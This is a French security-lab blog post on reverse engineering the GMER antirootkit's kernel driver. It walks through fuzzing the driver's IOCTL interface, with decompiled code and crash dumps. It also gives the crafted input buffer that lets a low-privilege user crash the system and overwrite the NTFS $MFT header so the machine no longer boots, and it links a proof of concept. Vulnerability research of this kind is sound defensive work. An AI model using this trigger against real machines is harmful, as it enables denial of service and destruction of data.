Reverse engineering d’un antirootkit et découverte de vulnérabilités (0day)

Reverse engineering d’un antirootkit et découverte de vulnérabilités (0day)

Dans ce premier opus du blog nous allons parler kernel, déréférencements de pointeurs, de reverse engineering et un tout petit peu de système de fichier. Beaucoup de choses techniques mais rien de très compliqué. Notre cas d’étude sera l’outil de détection de rootkits GMER, il a la capacité de détecter de nombreux rootkits en noyau Windows et ce sans utiliser de signatures ! Un administrateur système utilisera donc cet outil pour détecter un possible virus d’ores et déjà installé sur sa machine. Nous avons voulu savoir si le fait d’utiliser cet outil (de protection à l’origine) ne peut pas ouvrir des axes d’attaques supplémentaires.

Commençons par une présentation de GMER, comme dit précédemment cet outil détecte des rootkits en noyau Windows sans avoir besoin de signatures. Il inspecte différentes zones comme la SSDT (table d’appels aux fonctions en noyau), l’IDT (table d’interruption du processeur), les prologues des fonctions, etc. La détection de rootkits en environnement infecté sera traité dans un article à part entière. GMER fait une corrélation entre les différents résultats et si un élément semble avoir un comportement suspicieux il émet une alerte.

Cet outil fonctionne avec deux « niveaux » : un exécutable en mode utilisateur et un driver en mode noyau. L’exécutable créé le driver puis dialogue avec pour effectuer ses vérifications du système.

Un administrateur va donc lancer GMER soit sur un environnement suspecté d’être compromis, soit un environnement hostile. Nous allons prendre le cas (courant) d’un attaquant ayant accès au serveur mais n’ayant pas obtenu les droits « Administrateur ». Notre très cher admin système va donc utiliser GMER afin de s’assurer que personne n’a pris la main sur son serveur.

GMER créé son driver et le charge en noyau. Il communiquera avec par IoCtl en utilisant la fonction DeviceIoControl(). La très grande majorité des drivers ayant à communiquer avec un programme utilisateur communiquent par ce vecteur. Dans un premier temps déterminons notre surface d’attaque, vérifions si un utilisateur avec des droits limités peut dialoguer avec le driver en noyau.

Propriétés de « pfndrpob » pour le groupe « Tout le monde »

Le groupe « Tout le monde », soit tous les processus lancés peuvent communiquer avec le driver. Ceci n’est pas idéal d’un point de vue sécuritaire, mais bon les anti-virus aussi le font souvent et vérifient après si le processus fait parti d’une liste blanche donc tout n’est pas encore perdu pour notre anti-rootkit.

Afin de tester rapidement la solidité du driver nous allons utiliser l’outil IoCtlFuzzer, j’avoue avoir une version personnelle optimisant les altérations en mémoire, je triche un peu… On attend quelques secondes, GMER fais son premier tour d’initialisation et là BOOM !

Avec un débuggeur en noyau on obtient quelque chose de semblable à ceci :

'C:\Documents and Settings\Administrateur\Bureau\gmer.exe' (PID: 1724)
'\Device\pfndrpob' (0x81bdf6d8) [\??\C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\pfndrpob.sys]
IOCTL Code: 0x7201c008, Method: METHOD_BUFFERED
InBuff: 0x009d1fb8, InSize: 0x00000084
OutBuff: 0x0108ec00, OutSize: 0x0001fe00
Entry in loop of Fuzz DWORD
........
*** Fatal System Error: 0x000000d1
(0x15D45003,0x00000007,0x00000001,0xF8AB78C3)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
Connected to Windows XP 2600 x86 compatible target at (Mon Aug 1 16:42:59.693 2011 (UTC + 2:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
.............................
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.
.............................
Loading User Symbols
...............
Loading unloaded module list
..........
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck D1, {15d45003, 7, 1, f8ab78c3}
*** ERROR: Module load completed but symbols could not be loaded for vmscsi.sys
Probably caused by : vmscsi.sys ( vmscsi+18c3 )
Followup: MachineOwner
---------
nt!RtlpBreakWithStatusInstruction:
80527bdc cc int 3

A notre grande surprise c’est vmscsi.sys (driver gérant les disques logiques de VmWare) qui crash alors que nous attaquions le driver de GMER. Les communications avec les drivers se font par buffer d’entrée et de sortie, nous avons ici :

InBuff: 0x009d1fb8, InSize: 0x00000084
OutBuff: 0x0108ec00, OutSize: 0x0001fe00

Nous avons le buffer d’entrée à l’adresse 0x009d1fb8 et a une taille de 0x84 octet, soit 0x21 mots de quatre octets (DWORD). Regardons ce que contient ce buffer et tentons de déterminer d’où provient le crash.

kd> dd 0x009d1fb8 L21
009d1fb8 00000084 00000000 00000003 00000000
009d1fc8 2810ac00 00000000 00000000 01a14972
009d1fd8 00000052 0044005c 00760065 00630069
009d1fe8 005c0065 00630053 00690073 0076005c
009d1ff8 0073006d 00730063 00310069 006f0050
009d2008 00740072 00500032 00740061 00300068
009d2018 00610054 00670072 00740065 004c0030
009d2028 006e0075 00000030 00000000 00000000
009d2038 00000000
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 15d45003, memory referenced
Arg2: 00000007, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: f8ab78c3, address which referenced memory
Debugging Details:
------------------
WRITE_ADDRESS: 15d45003
CURRENT_IRQL: 7
FAULTING_IP:
vmscsi+18c3
f8ab78c3 884303 mov byte ptr [ebx+3],al
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD1
PROCESS_NAME: gmer.exe
TRAP_FRAME: b2344490 -- (.trap 0xffffffffb2344490)
ErrCode = 00000002
eax=00000004 ebx=15d45000 ecx=81cd300c edx=00000000 esi=81cd300c edi=820f5c20
eip=f8ab78c3 esp=b2344504 ebp=b234451c iopl=0 nv up ei ng nz na po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010283
vmscsi+0x18c3:
f8ab78c3 884303 mov byte ptr [ebx+3],al ds:0023:15d45003=??
Resetting default scope
LAST_CONTROL_TRANSFER: from 804f7b9d to 80527bdc
STACK_TEXT:
b2344044 804f7b9d 00000003 b23443a0 00000000 nt!RtlpBreakWithStatusInstruction
b2344090 804f878a 00000003 15d45003 f8ab78c3 nt!KiBugCheckDebugBreak+0x19
b2344470 80540683 0000000a 15d45003 00000007 nt!KeBugCheck2+0x574
b2344470 f8ab78c3 0000000a 15d45003 00000007 nt!KiTrap0E+0x233
WARNING: Stack unwind information not available. Following frames may be wrong.
b234451c f8ab7abb 81cd300c 8207cae8 81ca48ec vmscsi+0x18c3
b2344530 f84e6dd2 81cd300c 81ca48ec 81ca48e8 vmscsi+0x1abb
b2344548 805413b1 81ca48e8 8207ca30 81dae920 SCSIPORT!ScsiPortInterrupt+0x2a
b2344560 8054135b 00000000 b234457c 80541368 nt!KiChainedDispatch2ndLvl+0x39
b2344560 00001a15 00000000 b234457c 80541368 nt!KiChainedDispatch+0x1b
e1f97ffc 00000000 00000000 00000000 00000000 0x1a15
STACK_COMMAND: kb
FOLLOWUP_IP:
vmscsi+18c3
f8ab78c3 884303 mov byte ptr [ebx+3],al
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: vmscsi+18c3
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: vmscsi
IMAGE_NAME: vmscsi.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 491b95e3
FAILURE_BUCKET_ID: 0xD1_vmscsi+18c3
BUCKET_ID: 0xD1_vmscsi+18c3
Followup: MachineOwner
---------

Bon on a une bonne nouvelle et deux mauvaises, commençons par la bonne. Le déréférencement de pointeur (écrasement d’un pointeur en mémoire) est en écriture et ca c’est plutôt rare donc très bon pour nous, en revanche on pointe en mode utilisateur (partie limitée du système d’exploitation) donc pas intéressant. Et enfin on ne retrouve pas ce pointeur dans notre buffer. Donc au final la vulnérabilité n’est pas plus utile que ça. Pour un peu mieux comprendre ce qui se passe on va désassembler le code du driver GMER.

Pour se faire nous devons dans un premier temps récupérer le driver, celui-ci est supprimé une fois chargé en noyau. En lançant l’outil dans un débugger nous trouvons des sections bien connues des reversers.

Du bon UPX (outil de compression de .exe) comme dans les premiers cours d’unpacking qu’on trouve sur le net ! On pourrait tout à fait extraire l’exécutable réel à la main mais on va céder à la facilité et le faire avec un outil automatique, UPX.

Ici nous avons deux choix, soit nous désassemblons les routines de GMER mais nous aurons largement assez d’analyse par rétro-ingénierie dans la suite de l’article. Nous allons plutôt surveiller tous les appels à « ZwCreateFile » jusqu’à trouver l’appel de création du fichier « pfndrpob.sys ».

En remontant les instructions nous arrivons sur la suite de la routine.

Nous avons le « WriteFile » qui va écrire les données du driver dans le fichier et enfin le « CloseHandle » qui va fermer notre fichier et libérer le jeton lui étant affecté. Nous pouvons donc copier le driver pour l’analyser. Alors c’est parti on lance IDA et on regarde ce qui se passe !

Lors du chargement d’un driver la routine « DriverEntry » est appelée, elle initialise beaucoup de paramètres comme l’objet noyau (device) ou les tables IRP. Dans notre cas nous avons :

INIT:00026005 ; =============== S U B R O U T I N E =======================================
INIT:00026005
INIT:00026005 ; Attributes: bp-based frame
INIT:00026005
INIT:00026005 ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
INIT:00026005 public DriverEntry
INIT:00026005 DriverEntry proc near
INIT:00026005
INIT:00026005 DriverObject = dword ptr 8
INIT:00026005 RegistryPath = dword ptr 0Ch
INIT:00026005
INIT:00026005 mov edi, edi
INIT:00026007 push ebp
INIT:00026008 mov ebp, esp
[…]
INIT:0002603D pop ebp
INIT:0002603E jmp sub_1253A
INIT:0002603E DriverEntry endp

La suite du code assembleur sera désassemblé de HexRays (plugin faisant une interprétation en C très convenable lorsqu’on lui applique les bonnes structures).

NTSTATUS __stdcall sub_1253A(PDRIVER_OBJECT DriverObject, int a2)
{
PDRIVER_OBJECT v2; // esi@1
char v3; // zf@1
[…]
v2->MajorFunction[14] = (PDRIVER_DISPATCH)sub_12124;
v2->MajorFunction[2] = (PDRIVER_DISPATCH)sub_12124;
v2->MajorFunction[0] = (PDRIVER_DISPATCH)sub_12124;
v2->MajorFunction[16] = (PDRIVER_DISPATCH)sub_12124;
sub_123E6(MajorVersion, DriverObject, BuildNumber);
sub_1C478();
}
return 0;
}

Nos structures « MajorFunction » sont initialisées avec la fonction sub_12124(), elle sera donc notre fonction gérant les communications avec le driver. Cette fonction est présentée comme suit :

int __stdcall sub_12124(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIRP v2; // esi@1
int v3; // ecx@1
struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *v4; // eax@1
int v5; // ebx@1
void *v6; // edx@4
int Irpa; // [sp+1Ch] [bp+Ch]@1
v2 = Irp;
v3 = (int)&Irp->IoStatus;
Irp->IoStatus.Status = 0;
Irp->IoStatus.Information = 0;
Irpa = 0;
v4 = v2->Tail.Overlay.CurrentStackLocation;
v5 = *((_DWORD *)v4 + 3);
if ( *(_BYTE *)v4 == 2 )
{
sub_1BF34(v3, *(_BYTE *)v4 - 2);
}
else
{
if ( *(_BYTE *)v4 == 14 )
{
if ( (v5 & 3) == 3 )
v6 = v2->UserBuffer;
else
v6 = v2->AssociatedIrp.MasterIrp;
Irpa = sub_11D3C(
*((_DWORD *)v4 + 6),
v2->AssociatedIrp.MasterIrp,
*((_DWORD *)v4 + 2),
v6,
*((_DWORD *)v4 + 1),
v5,
v3,
(int)DeviceObject);
}
}
IofCompleteRequest(v2, 0);
return Irpa;
}

Nous appelons la fonction sub_11D3C() avec quelques arguments. Nous avons put identifier certain des arguments passés et les avons donc pré remplit dans les routines suivantes.

int __stdcall sub_11D3C(int a1, void *InputBuf, int BufArg1, void *CpInputBuf, size_t BufLengthOut, int IoctlCode, int a7, PDEVICE_OBJECT DeviceObject)
{
int result; // eax@2
if ( (IoctlCode & 0xFFFF0000) != 0x72010000
|| (result = sub_1DE64(a1, InputBuf, BufArg1, CpInputBuf, BufLengthOut, IoctlCode, a7, (int)DeviceObject),
result == 0xC0000010) )
result = sub_1078E(a1, InputBuf, BufArg1, (int)CpInputBuf, BufLengthOut, IoctlCode, a7, (int)DeviceObject);
else
*(_DWORD *)a7 = result;
return result;
}

Nous avons en deuxième argument un pointeur vers le buffer utilisateur, pareil pour le troisième, la taille de du buffer de sortie en quatrième et enfin l’identifiant de la fonction appelée en cinquième argument.

L’altération se produit durant l’appel à la fonction sub_1DE64(), nous allons donc étudier cette fonction. Ici on arrive dans une belle fonction typique des routines pour dispatcher les actions à mener suivant le code IoCtlCode.

On voit les structures conditionnelles, il ne reste plus à retrouver notre flux d’exécution. Nous n’aurons pas beaucoup à analyser car le bug se produit assez tôt dans la routine.

int __stdcall sub_1DE64(int a1, void *InputBuf, int BufArg1, void *CpInputBuf, size_t BufLengthOut, int IoctlCode, int a7, PDEVICE_OBJECT DeviceObject)
{
unsigned int v8; // edi@1
int result; // eax@3
int v10; // eax@12
NTSTATUS v11; // eax@26
void *v12; // eax@33
size_t v13; // esi@36
int v14; // eax@50
int v15; // eax@60
int v16; // eax@71
void *v17; // [sp-8h] [bp-360h]@51
size_t v18; // [sp-4h] [bp-35Ch]@51
size_t v19; // [sp+1Ch] [bp-33Ch]@1
size_t v20; // [sp+20h] [bp-338h]@83
void *P; // [sp+24h] [bp-334h]@1
void *LinkHandle; // [sp+28h] [bp-330h]@1
int v23; // [sp+2Ch] [bp-32Ch]@71
CPPEH_RECORD ms_exc; // [sp+340h] [bp-18h]@5
LinkHandle = CpInputBuf;
v8 = BufLengthOut;
P = (void *)BufLengthOut;
v19 = 0;
if ( IoctlCode == 0x7201C004 )
{
sub_1D896();
*(_DWORD *)(a7 + 4) = 0;
*(_DWORD *)a7 = 0;
return 0;
}
if ( IoctlCode == 0x7201C008 )
{
ms_exc.disabled = 0;
P = 0;
if ( (unsigned int)BufArg1 >= 0x28
&& InputBuf
&& *(_DWORD *)InputBuf <= (unsigned int)BufArg1
&& (*((_BYTE *)InputBuf + 8 ) != 3 || BufLengthOut >= 4 && CpInputBuf && *((_DWORD *)InputBuf + 7) >= BufLengthOut) )
{
v10 = sub_1D9D8(InputBuf, (int)&P);
[…]

Notre IoCtlCode est 0x7201C008 et la fonction malicieuse est sub_1D9D8() prenant en entrée notre buffer et un pointeur vers un entier. Nous descendons encore dans les routines du driver pour qui sait, avoir une agréable surprise (ou pas).

Nous entrons dans la fonction la plus fournie de notre analyse, c’est aussi elle qui nous permettra de disséquer plus finement notre buffer. Cette fois nous ne vous afficherons que des petits éléments du code, pour ceux intéressés nous vous invitons à télécharger le GMER et analyser son driver 😉 .

v3 = *((_BYTE *)InputBuf + 8);
if ( (_BYTE)v3 != 3 && (_BYTE)v3 != 4 )
{
LABEL_3:
ms_exc.disabled = 0xFFFFFFFEu;
return 0xC0000001u;
}

Nous utiliserons le buffer suivant (le paramètre altéré est le DWORD numéro 8, soit 0x02ffffff) :

0x00000084, 0x00000000, 0x00000003, 0x00000000,
0xc0007000, 0x00000000, 0x00000000, 0x02ffffff,
0x00000052, 0x0044005c, 0x00760065, 0x00630069,
0x005c0065, 0x00630053, 0x00690073, 0x0076005c,
0x0073006d, 0x00730063, 0x00310069, 0x006f0050,
0x00740072, 0x00500032, 0x00740061, 0x00300068,
0x00610054, 0x00670072, 0x00740065, 0x004c0030,
0x006e0075, 0x00000030, 0x00000000, 0x00000000,
0x00000000

A l’octet 8 nous avons la valeur 0x03, nous remplissons bien la condition et pouvons donc poursuivre l’exécution du code. Cet octet peut donc prendre deux valeurs possibles.

ObjectName.Buffer = (PWSTR)((char *)InputBuf + 36);
ObjectName.Length = *((_WORD *)InputBuf + 16);
ObjectName.MaximumLength = ObjectName.Length + 2;
result = IoGetDeviceObjectPointer(&ObjectName, 0x100000u, &FileObject, &DeviceObject);

Si nous regardons attentivement notre buffer nous nous apercevons qu’en effet deux chaines de caractères sont stockées en UNICODE. Elles ont les valeurs suivantes :

kd> r
eax=f81db820 ebx=00000000 ecx=81e75000 edx=00000000 esi=81e75000 edi=c0000001
eip=b20c1a4c esp=f81db7c8 ebp=f81db868 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
pfndrpob+0xda4c:
b20c1a4c ff1598300cb2 call dword ptr [pfndrpob+0xf098 (b20c3098)] ds:0023:b20c3098={nt!IoGetDeviceObjectPointer (8056b392)}
kd> dS poi(esp)
81e75024 "\Device\Scsi\vmscsi1Port2Path0Ta"
81e75064 "rget0Lun0"

GMER va donc tenter de communiquer avec de périphérique scsi, ce qui va dans le sens de l’analyse du bug par windbg.

VirtualAddress = ExAllocatePool(PagedPool, *((_DWORD *)CpInputBuf + 7));
if ( !VirtualAddress || (v41 = (PRKEVENT)ExAllocatePool(0, 0x10u)) == 0 )
{
ms_exc.disabled = 0xFFFFFFFEu;
return 0xC0000001u;
}

Ici nous allouons une page en mémoire d’une taille égale à l’argument altéré, soit 0x02ffffff. Ce buffer est initialisé de deux façons, soit avec des octets à 0, soit avec un buffer présélectionné.

if ( *((_BYTE *)CpInputBuf + 4) )
sub_1D906(DriverObject);
FuzzArg = *((_DWORD *)CpInputBuf + 7);
if ( *((_BYTE *)CpInputBuf + 8 ) == 3 )
memset(VirtualAddress, 0, FuzzArg);
else
memcpy(VirtualAddress, (char *)CpInputBuf + *((_DWORD *)CpInputBuf + 6), FuzzArg);

Il se créé deux autre espaces mémoires qu’il complètera de différentes façon, je vous épargne les jeux de pointeurs, ils n’auront pas de grand intérêts dans la suite de l’analyse. Un paquet IRP est généré et configuré, et envoyé à notre fonction fatidique.

v14 = IoAllocateMdl(VirtualAddress, *((_DWORD *)CpInputBuf + 7), 0, 0, LocalIRP);
if ( v14 )
{
CpLocalIRP->MdlAddress = v14;
MmProbeAndLockPages(v14, 0, 0);
CpLocalIRP->UserIosb = (PIO_STATUS_BLOCK)&v30;
CpLocalIRP->UserEvent = v40;
CpLocalIRP->IoStatus.Status = 0;
CpLocalIRP->IoStatus.Information = 0;
CpLocalIRP->Flags = 5;
CpLocalIRP->AssociatedIrp.MasterIrp = 0;
CpLocalIRP->Cancel = 0;
CpLocalIRP->RequestorMode = 0;
CpLocalIRP->CancelRoutine = 0;
CpLocalIRP->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
[…]
v41 = sub_12CC8(v18, DeviceObject, CpLocalIRP);

Nous arrivons au bout de notre périple avec GMER et cette dernière routine :

int __stdcall sub_12CC8(int a1, PDEVICE_OBJECT LDrvObj, PIRP LIrp)
{
int CpLirp; // edx@1
int CpLDrvObj; // ecx@1
// Configure Irp stack
sub_12C9C();
// a1 = SCSIPORT!ScsiPortGlobalDispatch
return ((int (__stdcall *)(int, int))a1)(CpLDrvObj, CpLirp);
}

Un appel est lancé au driver « SCSIPORT », driver qui relayera notre demande au composant VmWare et ainsi notre déréférencement de pointeur. Après de nombreux test nous avons pu constater que ce pointeur était toujours dans l’espace utilisateur du système, donc rien de bien intéressant d’un point de vue exploitation. Alors on peut se demander pourquoi avoir fait un tel reversing. L’objectif est d’aller trouver un deuxième bug, cette fois directement dans le driver GMER !

Quand il n’y en a plus y en a encore 😀

Regardons attentivement les quelques lignes exposées plus haut, un bug devrait vous sauter aux yeux (ou pas). On a un joli déréférencement de pointeur en lecture !

FuzzArg = *((_DWORD *)CpInputBuf + 7);
if ( *((_BYTE *)CpInputBuf + 8 ) == 3 )
memset(VirtualAddress, 0, FuzzArg);
else
memcpy(VirtualAddress, (char *)CpInputBuf + *((_DWORD *)CpInputBuf + 6), FuzzArg);

Actuellement notre 8e octet a la valeur 0x03, le buffer est donc réinitialisé à 0. C’est bien, mais on peut modifier cette valeur et ainsi le forcer à faire une copie bit à bit. Il semblerait que le 6e argument de notre buffer d’entrée soit un offset pour indiquer un buffer pré rempli. Sauf que nous pouvons indiquer un DWORD en ajout et provoque un débordement d’entier qui découlera sur un déréférencement du pointeur source. De plus la taille reste à 0x02ffffff, si le buffer d’entrée est plus petit nous obtiendrons alors une erreur de segmentation.

On test tout ca et …

*** Fatal System Error: 0x00000050
(0x82200000,0x00000000,0x80536913,0x00000000)
Break instruction exception - code 80000003 (first chance)
[…]
nt!RtlpBreakWithStatusInstruction:
80527bdc cc int 3
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
[…]
Debugging Details:
------------------
READ_ADDRESS: 82200000
FAULTING_IP:
nt!memcpy+33
80536913 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: 1.exe
TRAP_FRAME: b22e7748 -- (.trap 0xffffffffb22e7748)
ErrCode = 00000000
eax=84c84ffe ebx=00000000 ecx=00aa13ff edx=00000003 esi=821fffff edi=e257b000
eip=80536913 esp=b22e77bc ebp=b22e77c4 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
nt!memcpy+0x33:
80536913 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER: from 804f7b9d to 80527bdc
STACK_TEXT:
b22e7284 804f7b9d 00000003 82200000 00000000 nt!RtlpBreakWithStatusInstruction
b22e72d0 804f878a 00000003 00000000 c0411000 nt!KiBugCheckDebugBreak+0x19
b22e76b0 804f8cb5 00000050 82200000 00000000 nt!KeBugCheck2+0x574
b22e76d0 8051cc4f 00000050 82200000 00000000 nt!KeBugCheckEx+0x1bb22e7730 8054051c 00000000 82200000 00000000 nt!MmAccessFault+0x8e7
b22e7730 80536913 00000000 82200000 00000000 nt!KiTrap0E+0xcc
b22e77c4 b225daea e2000000 81c84fff 02ffffff nt!memcpy+0x33
WARNING: Stack unwind information not available. Following frames may be wrong.
b22e7868 b225defb 81ca7a08 b22e789c 00084c30 pfndrpob+0xdaea
b22e7bd0 b2251d6f 81bb2700 81c85000 00000084 pfndrpob+0xdefb
[…]
0022ffc0 7c817067 0007da40 7c91d950 7ffdd000 1+0x1238
0022fff0 00000000 00401220 00000000 78746341 kernel32!BaseProcessStart+0x23
[…]

Ca y est, on a un vrai déréférencement bien gras dans GMER. Pas de chance on ne déréférence qu’un pointeur en lecture. Donc écran bleu mais sans plus. Nous voyons que le memcpy() initialise un buffer, buffer qui sera très certainement utilisé par la suite. En effet, en remplissant la suite de notre requête par des « A » (classique) nous provoquons un écrasement. Cet écrasement n’est pas vu tout de suite car c’est au redémarrage du poste que nous ne pourrons tout simplement pas démarrer. Après plusieurs tests nous pensons qu’une partie du header NTFS doit être écrasé, ainsi le système d’exploitation est dans l’incapacité de se charger normalement. En ouvrant les disques virtuels en format brut nous retrouvons notre buffer. BINGO ! Nous avons effectivement écrasé un entête NTFS.

Plus précisément nous avons écrasé l’enté de $MFT. La MFT est la table d’indexation NTFS, elle permet de référencer les fichiers et leur contenu sur le disque dur. Ceci est un point de départ idéal pour infecter le système par un bootkit. Nous n’avons pas exploité cet écrasement car nous considérons être en mode utilisateur avec des droits limités et nous ne pouvons donc pas savoir quels sont les offsets et pointeurs déjà présents dans cette structure. L’exploitation est donc assez risquée et présente malheureusement trop peu de chances de succès. Néanmoins nous pouvons significativement impacter la productivité d’un serveur avec ce type d’attaque.

Nous arrivons au bout de ce premier article technique, un proof of concept est disponible en téléchargement, pour toute remarque ou information sur ce PoC : sleberre_at_nes.fr

 

Proof Of Concept : https://www.nes.fr/securitylab/wp-content/uploads/2011/09/PocNTFS_MFT_overwrite.c